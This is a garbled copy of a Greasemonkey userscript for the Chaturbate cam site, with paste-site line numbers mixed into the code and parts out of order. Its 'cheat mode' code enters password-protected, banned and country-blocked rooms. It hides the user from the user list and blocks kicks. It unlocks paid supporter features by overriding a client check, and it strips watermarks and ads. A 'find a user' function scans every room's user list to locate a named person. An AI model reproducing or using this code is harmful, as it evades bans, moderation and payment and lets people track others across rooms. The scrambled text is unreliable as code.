2533. 2534. 2535.847. // this part does the flash init script , only remove logo if in normal mode 2536. 2537. 2538.848. if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script 2539. 2540. 2541.849. 2542. 2543. 2544.850. if(!e.target.id){// already altered ? , then ID is set 2545. 2546. 2547.851. 2548. 2549. 2550.852. script=e.target.innerHTML; 2551. 2552. 2553.853. e.preventDefault(); 2554. 2555. 2556.854. e.stopPropagation(); 2557. 2558. 2559.855. e.target.parentNode.removeChild(e.target); 2560. 2561. 2562.856. 2563. 2564. 2565.857. scrip=document.createElement('script'); 2566. 2567. 2568.858. scrip.id="newvid"; 2569. 2570. 2571.859. 2572. 2573. 2574.860. script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); 2575. 2576. 2577.861. 2578. 2579. 2580.862. 2581. 2582. 2583.863. 2584. 2585. 2586.864. if (!readCookie("cheatmode")){ 2587. 2588. 2589.865. scrip.innerHTML=script; 2590. 2591. 2592.866. document.getElementsByTagName('body')[0].appendChild(scrip); 2593. 2594. 2595.867. return} // only do the rest if we are in cheatmode , return here if in normal mode 2596. 2597. 2598.868. 2599. 2600. 2601.869. mode=readCookie("cheatmode").split("&"); 2602. 2603. 2604.870. preformer=mode[0]; 2605. 2606. 2607.871. anon=mode[1]; 2608. 2609. 2610.872. mob=mode[2]; 2611. 2612. 2613.873. chost=mode[3]; 2614. 2615. 2616.874. 2617. 2618. 2619.875. orgname=document.location.href.split("/")[4]; 2620. 2621. 2622.876. 2623. 2624. 2625.877. var patrn = new RegExp(orgname,"ig"); 2626. 2627. 2628.878. script=script.replace(patrn,preformer); 2629. 2630. 2631.879. 2632. 2633. 2634.880. if((anon==1)||(mob==1)){ 2635. 2636. 2637.881. pos1 = script.indexOf('ProductInstall.swf",'); 2638. 2639. 2640.882. pos2 = script.indexOf("',",pos1); 2641. 2642. 2643.883. script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); 2644. 2645. 2646.884. 2647. 2648. 2649.885. pos1 = script.indexOf("pbkdf2_sha256"); 2650. 2651. 2652.886. pos2 = script.indexOf("',",pos1); 2653. 2654. 2655.887. script=script.replace(script.substring(pos1,pos2),"anonymous"); 2656. 2657. 2658.888. } 2659. 2660. 2661.889. 2662. 2663. 2664.890. scrip.innerHTML=script; 2665. 2666. 2667.891. document.getElementsByTagName('body')[0].appendChild(scrip); 2668. 2669. 2670.892. 2671. 2672. 2673.893. }} 2674. 2675. 2676.894. 2677. 2678. 2679.895. // next only if in cheatmode 2680. 2681. 2682.896. if (!readCookie("cheatmode")){return} 2683. 2684. 2685.897. mode=readCookie("cheatmode").split("&"); 2686. 2687. 2688.898. preformer=mode[0]; 2689. 2690. 2691.899. anon=mode[1]; 2692. 2693. 2694.900. mob=mode[2]; 2695. 2696. 2697.901. chost=mode[3]; 2698. 2699. 2700.902. 2701. 2702. 2703.903. orgname=document.location.href.split("/")[4]; 2704. 2705. 2706.904. 2707. 2708. 2709.905. if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script 2710. 2711. 2712.906. 2713. 2714. 2715.907. if(!e.target.id){// already altered ? , then ID is set 2716. 2717. 2718.908. 2719. 2720. 2721.909. script=e.target.innerHTML; 2722. 2723. 2724.910. e.preventDefault(); 2725. 2726. 2727.911. e.stopPropagation(); 2728. 2729. 2730.912. e.target.parentNode.removeChild(e.target); 2731. 2732. 2733.913. 2734. 2735. 2736.914. var patrn = new RegExp(orgname,"ig"); 2737. 2738. 2739.915. script=script.replace(patrn,preformer); 2740. 2741. 2742.916. 2743. 2744. 2745.917. script=script.replace("rtmp://chat1",chost); 2746. 2747. 2748.918. script=script.replace("rtmp://chat2",chost); 2749. 2750. 2751.919. 2752. 2753. 2754.920. script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. 2755. 2756. 2757.921. 2758. 2759. 2760.922. script=script.replace("window.location.reload()","return"); // no more kick 2761. 2762. 2763.923. 2764. 2765. 2766.924. pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat 2767. 2768. 2769.925. script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); 2770. 2771. 2772.926. 2773. 2774. 2775.927. if (mob==1){ 2776. 2777. 2778.928. script=script.replace("force_handler: null","force_handler: html_handler")} 2779. 2780. 2781.929. 2782. 2783. 2784.930. if(anon==1){ 2785. 2786. 2787.931. rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; 2788. 2789. 2790.932. username=""; 2791. 2792. 2793.933. l=5+Math.floor((Math.random()*6)+1); 2794. 2795. 2796.934. for (i=0; i>>>>>>>>>>>>>>>>>ONLY FOR CHROME&MICROSOFT EDGE WITH GREASEMONKEY RUNNING ON WINDOWS !!!<<<<<<<<<< 76. 77. 78.28. // >>>>>>>>>>>>>>>>>>>>>>>>DO NOT GIVE THIS SCRIPT TO OTHER PERSONS !!<<<<<<<<<<<<<<<<<< 79. 80. 81.29. // V12+ 82. 83. 84.30. // Removes all advertisements 85. 86. 87.31. // Inserts a new video box if the room is password protected or if your banned or blocked 88. 89. 90.32. // More colums on the main screen and streched the chat box 91. 92. 93.33. // External links are no longer redirected 94. 95. 96.34. // Checks the version of the flash player and tries to use the same version on protectected rooms 97. 98. 99.35. // Shoutbox at the end of the screen 100. 101. 102.36. // By default the chat won't show emoticons 103. 104. 105.37. // 106. 107. 108.38. // Unlocked supporters profile features ( PM , chat color etc.) USE IT WITH CARE ! 109. 110. 111.39. // 112. 113. 114.40. // All links are rewritten to /p/ , the preformers profile, there you have the choice to go to the normal 115. 116. 117.41. // webcam or to go to a webcam with special functions. 118. 119. 120.42. // On a normal cam page you have the option to go back to the profile page. 121. 122. 123.43. // 124. 125. 126.44. // special video mode where you can enter a streamkey 127. 128. 129.45. // 130. 131. 132.46. // only the last updates are mentioned here , the list became too long 133. 134. 135.47. // 136. 137. 138.48. // v14.4 adjustment for the spy on cam screen. if you enter as an anon you can enter and leave the private chat any 139. 140. 141.49. // time you want. if the performer goes private or groep you will stil auto-follow to the private room 142. 143. 144.50. // v14.5 you can see video of country-banned rooms together with chat. reconnect chatbox option, if you have access in special mode 145. 146. 147.51. // it will check for the chat host to connect too, if you have no access it will ask you what chat host to use 148. 149. 150.52. // v14.6 added a video server selector in the special video menu , if you have no video then maually select an other one 151. 152. 153.53. // v14.7 2 chat notifications made visible , name in thumb screen made easy to copy 154. 155. 156.54. // v14.8 video server orgin3 added 157. 158. 159.55. // V14.9 shows the requester of a private show , better scroll with extra info, fixed front page mess-up with long broadcaster names 160. 161. 162.56. // V15.1 orgin4 and 5 added. It remembers the server for every stream. In the key input area below the video you can enter a long string 163. 164. 165.57. // containing the key , the script will select the key from it and, if its found, the server. As an anon it will ask if you want to be 166. 167. 168.58. // in broadcaster mode. You can open a room in clean Iframe mode. 169. 170. 171.59. // v15.2 corrected the usercolors in chat list , offline tipping of a non-verified user 172. 173. 174.60. // v15.3 all video options removed , tipping removed , fixed anon entry 175. 176. 177.61. // v15.4 fix for tipnotes 178. 179. 180.62. // v15.5 sorting users by tokens in normal chat , mute tip sound option , floating widgets on profile page removed 181. 182. 183.63. // v15.6 stopped auto refresh in banned video only page , more fancy reziseable video window 184. 185. 186.64. // v15.7 no more tip notes 187. 188. 189.65. // V15.8 if entering via password room you can use mobile mode. you will not appear in userlist and you can not be banned (you can be silenced!) 190. 191. 192.66. // v15.9 bug fix from 15.8 193. 194. 195.67. // v16.0 , number scipped 196. 197. 198.68. // v16.1 use of a random server in password room b.c. the static server was down. 199. 200. 201.69. // v16.2 fix for FF 23 , find a user added 202. 203. 204.70. // v16.3 better user finder, fixed tipping and abusing in cheat mode, mobile video link added 205. 206. 207.71. // v16.3a & b & c microsoft edge 20.1024.16384.0 © 2017 Microsoft compatible , no update 208. 209. 210.72. // v16.4 graphical last online viewer , no more info stored in flash cookies , script cleanup 211. 212. 213.73. // v16.5 always remove adds with cookie, better cleaning of messed-up profiles , always remove video logo 214. 215. 216.74. //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 217. 218. 219.75. 220. 221. 222.76. createCookie("agreeterms","1",1); 223. 224. 225.77. createCookie("np3","0",1); 226. 227. 228.78. if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} 229. 230. 231.79. 232. 233. 234.80. function do_script() { 235. 236. 237.81. 238. 239. 240.82. // some adjustment needed if we are in cheat mode 241. 242. 243.83. 244. 245. 246.84. if (readCookie("cheatmode")){ 247. 248. 249.85. mode=readCookie("cheatmode").split("&"); 250. 251. 252.86. eraseCookie("cheatmode","chaturbate.com"); 253. 254. 255.87. preformer=mode[0]; 256. 257. 258.88. anon=mode[1]; 259. 260. 261.89. mob=mode[2]; 262. 263. 264.90. document.getElementsByTagName('body')[0].setAttribute("style", "border:50px double #545565;"); 265. 266. 267.91. base=document.createElement('BASE'); 268. 269. 270.92. url=document.location.href; 271. 272. 273.93. url=url.replace(document.location.href.split("/")[4],preformer); 274. 275. 276.94. url=url.split("?")[0]; 277. 278. 279.95. 280. 281. 282.96. base.setAttribute("href",url); 283. 284. 285.97. 286. 287. 288.98. document.getElementsByTagName('head')[0].appendChild(base); 289. 290. 291.99. 292. 293. 294.100. 295. 296. 297.101. text1="
  422. Welcome in "+preformer+"'s room.
  423.  
  424. "; 298. 299. 300.102. text2="
  425. You are an anonymous user and you can not chat.
  426.  
  427. "; 301. 302. 303.103. text3="
  428. You are in mobile mode and you are not visible in the userlist.
  429.  
  430. "; 304. 305. 306.104. text4='
  431. Enter the private room--------Leave the private room
  432. '; 307. 308. 309.105. text5="
  433. Return to the profile.
  434.  
  435. "; 310. 311. 312.106. 313. 314. 315.107. text=document.createElement('div'); 316. 317. 318.108. 319. 320. 321.109. textf=text1; 322. 323. 324.110. if(anon==1){textf=textf+text2} 325. 326. 327.111. if(mob==1){textf=textf+text3} 328. 329. 330.112. if((anon==1)&&(mob==0)){textf=textf+text4} 331. 332. 333.113. 334. 335. 336.114. text.id="cheat"; 337. 338. 339.115. 340. 341. 342.116. text.innerHTML=textf+text5; 343. 344. 345.117. 346. 347. 348.118. body=document.getElementsByTagName('body')[0]; 349. 350. 351.119. 352. 353. 354.120. body.insertBefore(text, body.firstChild); 355. 356. 357.121. 358. 359. 360.122. // fix abuse 361. 362. 363.123. abu=document.getElementById("report_popup"); 364. 365. 366.124. abu.getElementsByTagName('form')[0].setAttribute("action","/abuse/report/"+preformer+"/"); 367. 368. 369.125. 370. 371. 372.126. // fix the tipping 373. 374. 375.127. tips=document.getElementsByClassName('tip_shell')[0]; 376. 377. 378.128. tips.getElementsByTagName('form')[0].setAttribute("action","/tipping/send_tip/"+preformer+"/"); 379. 380. 381.129. 382. 383. 384.130. } 385. 386. 387.131. 388. 389. 390.132. // always earase again, just in case we broke the page 391. 392. 393.133. eraseCookie("cheatmode","chaturbate.com"); 394. 395. 396.134. // earase these too 397. 398. 399.135. eraseCookie("latest_linked_timestamp"); 400. 401. 402.136. eraseCookie("latest_linked_username"); 403. 404. 405.137. eraseCookie("affkey"); 406. 407. 408.138. eraseCookie("fromaffiliate"); 409. 410. 411.139. 412. 413. 414.140. 415. 416. 417.141. // from here normal script 418. 419. 420.142. 421. 422. 423.143. // remove visible adds 424. 425. 426.144. ad = document.getElementsByClassName('ad'); 427. 428. 429.145. if (document.location.href.split("/")[3]!="b"){ 430. 431. 432.146. if (ad[1]){ad[1].parentNode.removeChild(ad[1])}} 433. 434. 435.147. 436. 437. 438.148. verstr='Special edition
  436. V '+scversion; 439. 440. 441.149. if(document.getElementById("player")){verstr=verstr+'
  437.  Debug chatbox: '} 442. 443. 444.150. if (ad[0]){ad[0].innerHTML=verstr} 445. 446. 447.151. 448. 449. 450.152. 451. 452. 453.153. ad = document.getElementsByClassName('banner')[0]; 454. 455. 456.154. if (ad){ad.parentNode.removeChild(ad)} 457. 458. 459.155. ad=document.getElementById("botright"); 460. 461. 462.156. if (ad){ad.parentNode.removeChild(ad)} 463. 464. 465.157. 466. 467. 468.158. // advert options on menu bars and check if your logged in 469. 470. 471.159. if (document.location.href.indexOf("/auth/logout/") != -1){eraseCookie("logstatus","chaturbate.com");eraseCookie("latest_linked_username");} 472. 473. 474.160. notlogged = GM_getValue( "all" , 0 ); 475. 476. 477.161. bar=document.getElementById("nav"); 478. 479. 480.162. if (bar){ 481. 482. 483.163. barl=bar.getElementsByTagName('li'); 484. 485. 486.164. i=barl.length-1; 487. 488. 489.165. while (i != -1){ 490. 491. 492.166. d=barl[i].innerHTML; 493. 494. 495.167. if (d.indexOf('/login') != -1) {notlogged = 1} 496. 497. 498.168. if ((d.indexOf('/login') != -1)||(d.indexOf('href="/"') != -1)||(d.indexOf('href="/b/') != -1)||(d.indexOf('/my_') != -1)){i--} 499. 500. 501.169. else{barl[i].parentNode.removeChild(barl[i]);i--} 502. 503. 504.170. }} 505. 506. 507.171. 508. 509. 510.172. // rss feed link 511. 512. 513.173. if(document.getElementsByClassName('wide')[0]){ 514. 515. 516.174. newli=document.createElement('li'); 517. 518. 519.175. newli.innerHTML="LAST ONLINE "; 520. 521. 522.176. if (bar){bar.appendChild(newli)}} 523. 524. 525.177. 526. 527. 528.178. // find user 529. 530. 531.179. if(document.getElementsByClassName('wide')[0]){ 532. 533. 534.180. newli=document.createElement('li'); 535. 536. 537.181. newli.innerHTML="FIND A USER "; 538. 539. 540.182. if (bar){bar.appendChild(newli)}} 541. 542. 543.183. 544. 545. 546.184. 547. 548. 549.185. // blog spam 550. 551. 552.186. ad = document.getElementsByClassName('featured_blog_posts')[0]; 553. 554. 555.187. if (ad){ad.parentNode.removeChild(ad)} 556. 557. 558.188. 559. 560. 561.189. // footer spam 562. 563. 564.190. ad = document.getElementsByClassName('featured_text')[0]; 565. 566. 567.191. if (ad){ad.parentNode.removeChild(ad)} 568. 569. 570.192. 571. 572. 573.193. // announcement banner 574. 575. 576.194. ad = document.getElementsByClassName('top-section')[0]; 577. 578. 579.195. if (ad){ 580. 581. 582.196. ad = ad.getElementsByTagName('img')[0]; 583. 584. 585.197. if (ad){ad.parentNode.removeChild(ad)}} 586. 587. 588.198. 589. 590. 591.199. // footer cleanup 592. 593. 594.200. ad = document.getElementsByClassName('footer-holder')[0]; 595. 596. 597.201. if (ad){ 598. 599. 600.202. ad1 = ad.getElementsByTagName('p')[3]; 601. 602. 603.203. if (ad1){ad1.parentNode.removeChild(ad1)} 604. 605. 606.204. ad1 = ad.getElementsByTagName('p')[2]; 607. 608. 609.205. if (ad1){ad1.parentNode.removeChild(ad1)} 610. 611. 612.206. ad1 = ad.getElementsByTagName('p')[1]; 613. 614. 615.207. if (ad1){ad1.parentNode.removeChild(ad1)} 616. 617. 618.208. ad1 = ad.getElementsByTagName('p')[0]; 619. 620. 621.209. if (ad1){ad1.parentNode.removeChild(ad1)}} 622. 623. 624.210. 625. 626. 627.211. // strech the screen 628. 629. 630.212. front=document.getElementsByClassName('c-1')[0]; 631. 632. 633.213. if(front) { 634. 635. 636.214. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 637. 638. 639.215. front=document.getElementsByClassName('c-1')[1]; 640. 641. 642.216. if(front) { 643. 644. 645.217. front.setAttribute("style", "margin: 0px 0px 0px 35px;")} 646. 647. 648.218. 649. 650. 651.219. // remove out of position images 652. 653. 654.220. container = document.getElementById("tabs_content_container") 655. 656. 657.221. if (container){ 658. 659. 660.222. var taglist=new Array("a","p","i","strong","b","u","ul","ol","li","h1","h2","h3","img","font","br"); 661. 662. 663.223. for (n=0; nOPEN THE NORMAL CHAT "; 760. 761. 762.256. if (bar){bar.appendChild(newli)} 763. 764. 765.257. 766. 767. 768.258. 769. 770. 771.259. // go to semi password room 772. 773. 774.260. newli=document.createElement('li'); 775. 776. 777.261. pwroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/roomlogin/"+splits[4]; 778. 779. 780.262. newli.innerHTML="GO TO PASSWORD ROOM"; 781. 782. 783.263. if (bar){bar.appendChild(newli)}; 784. 785. 786.264. 787. 788. 789.265. // go to embedded room 790. 791. 792.266. newli=document.createElement('li'); 793. 794. 795.267. ebroom= splits[0]+"/"+splits[1]+"/"+splits[2]+"/embed/"+splits[4]; 796. 797. 798.268. newli.innerHTML="OPEN THE ROOM IN A CLEAN PAGE"; 799. 800. 801.269. if (bar){bar.appendChild(newli)}; 802. 803. 804.270. 805. 806. 807.271. } // end only on profile page 808. 809. 810.272. 811. 812. 813.273. // graphic rss feed 814. 815. 816.274. function showfeed(){ 817. 818. 819.275. var x=document.getElementById("selector").selectedIndex; 820. 821. 822.276. feedXml='http://chaturbate.com/feed/latest/?'+document.getElementById("selector").getElementsByTagName("option")[x].value+"&"+new Date().getTime() ; 823. 824. 825.277. 826. 827. 828.278. GM_xmlhttpRequest({ 829. 830. 831.279. method: 'GET', 832. 833. 834.280. url: feedXml, 835. 836. 837.281. onload: function(response) { 838. 839. 840.282. xmlString=response.responseText; 841. 842. 843.283. 844. 845. 846.284. // dirty HTML parser, i can handle xml as html 847. 848. 849.285. xmldoc=document.createElement('div'); 850. 851. 852.286. xmldoc.innerHTML=xmlString; 853. 854. 855.287. 856. 857. 858.288. area=document.getElementsByClassName('content_body')[0]; 859. 860. 861.289. area.innerHTML=""; 862. 863. 864.290. 865. 866. 867.291. newdiv=document.createElement('div'); 868. 869. 870.292. area.appendChild(newdiv); 871. 872. 873.293. 874. 875. 876.294. holder=document.createElement('ul'); 877. 878. 879.295. holder.className="list"; 880. 881. 882.296. holder.id="check"; 883. 884. 885.297. newdiv.appendChild(holder); 886. 887. 888.298. 889. 890. 891.299. var items = new Array(); 892. 893. 894.300. items=xmldoc.getElementsByTagName('item'); 895. 896. 897.301. 898. 899. 900.302. blockstring='item2' 901. 902. 903.303. +' ' 904. 905. 906.304. +'
  438. ' 907. 908. 909.305. +'
  439. ' 910. 911. 912.306. +'item5' 913. 914. 915.307. +' ' 916. 917. 918.308. +'
  440. ' 919. 920. 921.309. +'' 922. 923. 924.310. +'
  441. ' 925. 926. 927.311. +'' 928. 929. 930.312. +'' 931. 932. 933.313. +'•item8
  442. ' 934. 935. 936.314. +'•item9 min. online - item10 viewers
  443. ' 937. 938. 939.315. +'' 940. 941. 942.316. +''; 943. 944. 945.317. 946. 947. 948.318. for (n=0; n= 24){Honline=Honline-24} 1012. 1013. 1014.340. 1015. 1016. 1017.341. d = new Date(); 1018. 1019. 1020.342. Hnow = d.getHours(); 1021. 1022. 1023.343. Mnow = d.getMinutes(); 1024. 1025. 1026.344. Snow = d.getSeconds(); 1027. 1028. 1029.345. 1030. 1031. 1032.346. secnow=(Hnow*60*60)+(Mnow*60)+Snow; 1033. 1034. 1035.347. seconl=(Honline*60*60)+(Monline*60)+Sonline; 1036. 1037. 1038.348. secdiff=Math.abs(secnow-seconl); 1039. 1040. 1041.349. mindiff=parseInt(secdiff/60); 1042. 1043. 1044.350. 1045. 1046. 1047.351. block=document.createElement('li'); 1048. 1049. 1050.352. block.setAttribute("style", "margin: 5px 5px 5px 5px;"); 1051. 1052. 1053.353. 1054. 1055. 1056.354. blockstring1=blockstring.replace("item1",image_url); 1057. 1058. 1059.355. blockstring1=blockstring1.replace("item2",title); 1060. 1061. 1062.356. blockstring1=blockstring1.replace("item3",guid); 1063. 1064. 1065.357. blockstring1=blockstring1.replace("item4",guid); 1066. 1067. 1068.358. blockstring1=blockstring1.replace("item5",username); 1069. 1070. 1071.359. blockstring1=blockstring1.replace("item6",gender); 1072. 1073. 1074.360. blockstring1=blockstring1.replace("item8",location_); 1075. 1076. 1077.361. blockstring1=blockstring1.replace("item9",mindiff); 1078. 1079. 1080.362. blockstring1=blockstring1.replace("item10",number_of_users_watching); 1081. 1082. 1083.363. 1084. 1085. 1086.364. block.innerHTML=blockstring1; 1087. 1088. 1089.365. 1090. 1091. 1092.366. holder.appendChild(block); 1093. 1094. 1095.367. 1096. 1097. 1098.368. } // end for 1099. 1100. 1101.369. 1102. 1103. 1104.370. setTimeout(function(){showfeed()},20000); 1105. 1106. 1107.371. 1108. 1109. 1110.372. } // end onload 1111. 1112. 1113.373. }); // end xmlhttp 1114. 1115. 1116.374. } // end function 1117. 1118. 1119.375. 1120. 1121. 1122.376. 1123. 1124. 1125.377. //finduser 1126. 1127. 1128.378. function finduser(){ 1129. 1130. 1131.379. fusern=document.getElementById("fusername").value; 1132. 1133. 1134.380. if (fusern == ""){alert("First fill in a username !");return false} 1135. 1136. 1137.381. 1138. 1139. 1140.382. document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist"; 1141. 1142. 1143.383. 1144. 1145. 1146.384. 1147. 1148. 1149.385. feedXml='http://chaturbate.com/tours/3/?p=1&c=1000'; 1150. 1151. 1152.386. 1153. 1154. 1155.387. GM_xmlhttpRequest({ 1156. 1157. 1158.388. method: 'GET', 1159. 1160. 1161.389. url: feedXml, 1162. 1163. 1164.390. onload: function(response) { 1165. 1166. 1167.391. responsedoc=response.responseText; 1168. 1169. 1170.392. 1171. 1172. 1173.393. // dirty HTML parser 1174. 1175. 1176.394. parse=document.createElement('div'); 1177. 1178. 1179.395. parse.innerHTML=responsedoc; 1180. 1181. 1182.396. 1183. 1184. 1185.397. var items = new Array(); 1186. 1187. 1188.398. items=parse.getElementsByClassName('title'); 1189. 1190. 1191.399. 1192. 1193. 1194.400. var olnames = new Array(); 1195. 1196. 1197.401. for (i=0; i"+fusern+"
  444.  
  445. "; 1228. 1229. 1230.412. 1231. 1232. 1233.413. i=0; 1234. 1235. 1236.414. checkroom(olnames,i); 1237. 1238. 1239.415. 1240. 1241. 1242.416. } // end onload xml 1243. 1244. 1245.417. 1246. 1247. 1248.418. }); // end xml 1249. 1250. 1251.419. 1252. 1253. 1254.420. } //end function 1255. 1256. 1257.421. 1258. 1259. 1260.422. 1261. 1262. 1263.423. function checkroom(olnames,i){ 1264. 1265. 1266.424. 1267. 1268. 1269.425. userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c"; 1270. 1271. 1272.426. 1273. 1274. 1275.427. document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : "+olnames[i]+"
  446. "; 1276. 1277. 1278.428. 1279. 1280. 1281.429. GM_xmlhttpRequest({ 1282. 1283. 1284.430. method: 'GET', 1285. 1286. 1287.431. url: userurl, 1288. 1289. 1290.432. onload: function(response) { 1291. 1292. 1293.433. data = response.responseText; 1294. 1295. 1296.434. if(data.indexOf(fusern+"|") != -1){ 1297. 1298. 1299.435. document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '"+fusern+"' found in room : "+olnames[i]+"
  447. "; 1300. 1301. 1302.436. } 1303. 1304. 1305.437. i++; 1306. 1307. 1308.438. if(i==olnames.length){ 1309. 1310. 1311.439. if(document.getElementsByClassName('content_body')[0].innerHTML==""){ 1312. 1313. 1314.440. document.getElementsByClassName('affiliate_options')[0].innerHTML="User '"+fusern+"' not found."} 1315. 1316. 1317.441. else{ 1318. 1319. 1320.442. document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."} 1321. 1322. 1323.443. return false} 1324. 1325. 1326.444. checkroom(olnames,i); 1327. 1328. 1329.445. } // end onload xml2 1330. 1331. 1332.446. }); // end xml2 1333. 1334. 1335.447. } 1336. 1337. 1338.448. 1339. 1340. 1341.449. // set up rss page 1342. 1343. 1344.450. if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){ 1345. 1346. 1347.451. document.title="Last cam's online"; 1348. 1349. 1350.452. area=document.getElementsByClassName('content_body')[0]; 1351. 1352. 1353.453. area.innerHTML=""; 1354. 1355. 1356.454. area=document.getElementsByClassName('affiliate_options')[0]; 1357. 1358. 1359.455. area.innerHTML='
  448. Last cam\'s online : Show allShow only femaleShow only maleShow only coupleShow only transsexual'; 1360. 1361. 1362.456. showfeed(); 1363. 1364. 1365.457. } 1366. 1367. 1368.458. 1369. 1370. 1371.459. // set up find a user page 1372. 1373. 1374.460. if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){ 1375. 1376. 1377.461. document.title="Find a user"; 1378. 1379. 1380.462. area=document.getElementsByClassName('content_body')[0]; 1381. 1382. 1383.463. area.innerHTML=""; 1384. 1385. 1386.464. area=document.getElementsByClassName('affiliate_options')[0]; 1387. 1388. 1389.465. area.innerHTML='
  449. Enter the name of the user you want to locate:
  450. '; 1390. 1391. 1392.466. document.getElementById("submit").addEventListener('click',function(){finduser();}, false); 1393. 1394. 1395.467. } 1396. 1397. 1398.468. 1399. 1400. 1401.469. // on a player page, if logged in, unlock features. 1402. 1403. 1404.470. if (play){ // player on the page ? 1405. 1406. 1407.471. if (!readCookie("logstatus")){save()} 1408. 1409. 1410.472. if(document.getElementById("defchat")){ 1411. 1412. 1413.473. scrip=document.createElement('script'); 1414. 1415. 1416.474. scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};"; 1417. 1418. 1419.475. document.getElementsByTagName('body')[0].appendChild(scrip); 1420. 1421. 1422.476. } 1423. 1424. 1425.477. 1426. 1427. 1428.478. // console logger 1429. 1430. 1431.479. if(document.getElementById("defchat")){ 1432. 1433. 1434.480. scrip=document.createElement('script'); 1435. 1436. 1437.481. 1438. 1439. 1440.482. scriptstring="flash_handler.consolelog = " 1441. 1442. 1443.483. +"function(msg2){" 1444. 1445. 1446.484. +"xaa=document.getElementsByClassName('chat-list')[0];" 1447. 1448. 1449.485. +"if(xaa){" 1450. 1451. 1452.486. +"msg3=unescape(msg2);" 1453. 1454. 1455.487. +"msg4='x';" 1456. 1457. 1458.488. +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){" 1459. 1460. 1461.489. +"msg4='
  451. '+msg3.substring(20)+'
  452. '}" 1462. 1463. 1464.490. +"if (msg3.indexOf('Notification privateshowrequest')!=-1){" 1465. 1466. 1467.491. +"msg4='
  453. '+msg3.substring(20)+'
  454. '}" 1468. 1469. 1470.492. +"if(document.getElementById('appnotice')){" 1471. 1472. 1473.493. +"if(document.getElementById('appnotice').checked==true){" 1474. 1475. 1476.494. +"msg4='
  455. '+msg3+'
  456. ';}}" 1477. 1478. 1479.495. +"if(msg4 != 'x'){" 1480. 1481. 1482.496. +"newdiv=document.createElement('div');" 1483. 1484. 1485.497. +"newdiv.className='text';" 1486. 1487. 1488.498. +"newdiv.innerHTML=msg4;" 1489. 1490. 1491.499. +"xaa.appendChild(newdiv);" 1492. 1493. 1494.500. +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){" 1495. 1496. 1497.501. +"xaa.scrollTop=xaa.scrollHeight}}}};"; 1498. 1499. 1500.502. 1501. 1502. 1503.503. scrip.innerHTML=scriptstring; 1504. 1505. 1506.504. document.getElementsByTagName('body')[0].appendChild(scrip); 1507. 1508. 1509.505. } 1510. 1511. 1512.506. 1513. 1514. 1515.507. 1516. 1517. 1518.508. // options page on normal player page 1519. 1520. 1521.509. if (splits[3]!="p"){ // no profile but still a player page = normal page 1522. 1523. 1524.510. newli=document.createElement('li'); 1525. 1526. 1527.511. camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3]; 1528. 1529. 1530.512. newli.innerHTML="GO TO THE PROFILE PAGE WITH OPTIONS"; 1531. 1532. 1533.513. if (bar){bar.appendChild(newli)}} 1534. 1535. 1536.514. 1537. 1538. 1539.515. // shoutbox on all player pages 1540. 1541. 1542.516. newtab2=document.createElement('div'); 1543. 1544. 1545.517. newtab2.id="shout"; 1546. 1547. 1548.518. newtab2.innerHTML=sdata; 1549. 1550. 1551.519. document.getElementById("defchat").appendChild(newtab2); 1552. 1553. 1554.520. 1555. 1556. 1557.521. } // end player page 1558. 1559. 1560.522. 1561. 1562. 1563.523. // remove lock picture from thumb 1564. 1565. 1566.524. pictures = document.getElementsByClassName('preview'); 1567. 1568. 1569.525. if (pictures){ 1570. 1571. 1572.526. for (i=0; i'+uname+''; 1978. 1979. 1980.662. ulist.appendChild(div3); 1981. 1982. 1983.663. } 1984. 1985. 1986.664. }}) 1987. 1988. 1989.665. }} 1990. 1991. 1992.666. 1993. 1994. 1995.667. //popvid 1996. 1997. 1998.668. function popvid(){ 1999. 2000. 2001.669. vidwin=document.getElementById("player").innerHTML; 2002. 2003. 2004.670. popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no"); 2005. 2006. 2007.671. popUpWindow.document.writeln (''+vidwin+''); 2008. 2009. 2010.672. popUpWindow.document.close(); 2011. 2012. 2013.673. window.close(); 2014. 2015. 2016.674. document.location.href="http://chaturbate.com"} 2017. 2018. 2019.675. 2020. 2021. 2022.676. // new cheat function 2023. 2024. 2025.677. function npcheat(preformer,anon){ 2026. 2027. 2028.678. 2029. 2030. 2031.679. mmode=0; 2032. 2033. 2034.680. if(document.getElementById('mobmode').checked==true){mmode=1} 2035. 2036. 2037.681. 2038. 2039. 2040.682. // get chat host 2041. 2042. 2043.683. GM_xmlhttpRequest({ 2044. 2045. 2046.684. method: 'GET', 2047. 2048. 2049.685. url: 'http://www.chaturbate.com/embed/'+preformer, 2050. 2051. 2052.686. onload: function(response2) { 2053. 2054. 2055.687. data2 = response2.responseText; 2056. 2057. 2058.688. 2059. 2060. 2061.689. chostpos=data2.indexOf("rtmp://chat"); 2062. 2063. 2064.690. if (chostpos == -1){ 2065. 2066. 2067.691. r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one."); 2068. 2069. 2070.692. if (r==true){chost="rtmp://chat1"} 